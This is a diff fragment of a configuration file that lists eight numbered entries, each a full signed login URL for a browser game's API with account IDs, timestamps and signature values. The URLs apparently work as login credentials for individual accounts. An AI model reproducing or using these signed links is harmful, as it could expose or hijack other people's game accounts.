user.11=http://api.sengokugifu.jp/home/login/login?Uname=2301252028208759&userid=2301252028208759&GameId=2001&ServerId=s17&Time=1675376964&al=1&from=gesoten&siteurl=gesoten.com&Sign=787cf461d536b94b23b1f047ee501a23&nickname=gesoten-2301252028208759
|
| 13 |
+
user.12=http://api.sengokugifu.jp/home/login/login?Uname=2301252034032582&userid=2301252034032582&GameId=2001&ServerId=s17&Time=1675377240&al=1&from=gesoten&siteurl=gesoten.com&Sign=bfce40bf3f1e79207be8bb069b5f50ed&nickname=gesoten-2301252034032582
|
| 14 |
+
user.13=http://api.sengokugifu.jp/home/login/login?Uname=2301252042087343&userid=2301252042087343&GameId=2001&ServerId=s17&Time=1675377277&al=1&from=gesoten&siteurl=gesoten.com&Sign=24334ddd09c9084e4fe68fc080b0ac07&nickname=gesoten-2301252042087343
|
| 15 |
+
user.14=http://api.sengokugifu.jp/home/login/login?Uname=2301252047210167&userid=2301252047210167&GameId=2001&ServerId=s17&Time=1675377323&al=1&from=gesoten&siteurl=gesoten.com&Sign=208ed17dd4fb6f7f2f307ccb47ab5234&nickname=gesoten-2301252047210167
|
| 16 |
+
user.15=http://api.sengokugifu.jp/home/login/login?Uname=2301252052316617&userid=2301252052316617&GameId=2001&ServerId=s17&Time=1675377362&al=1&from=gesoten&siteurl=gesoten.com&Sign=750ffe349077ae11372c0e2c7dfc029d&nickname=gesoten-2301252052316617
|
| 17 |
+
user.16=http://api.sengokugifu.jp/home/login/login?Uname=2301252100257797&userid=2301252100257797&GameId=2001&ServerId=s17&Time=1675377399&al=1&from=gesoten&siteurl=gesoten.com&Sign=3d84b824858c354968019af86e38f764&nickname=gesoten-2301252100257797
|
| 18 |
+
user.17=http://api.sengokugifu.jp/home/login/login?Uname=2301252106191710&userid=2301252106191710&GameId=2001&ServerId=s17&Time=1675377439&al=1&from=gesoten&siteurl=gesoten.com&Sign=61b1729ab34d9afb5b417b38a6d8d752&nickname=gesoten-2301252106191710
|
| 19 |
+
user.18=http://api.sengokugifu.jp/home/login/login?Uname=2301252112453620&userid=2301252112453620&GameId=2001&ServerId=s17&Time=1675377475&al=1&from=gesoten&siteurl=gesoten.com&Sign=3626d03df40d66157ae1f68dcb8b4527&nickname=gesoten-2301252112453620
|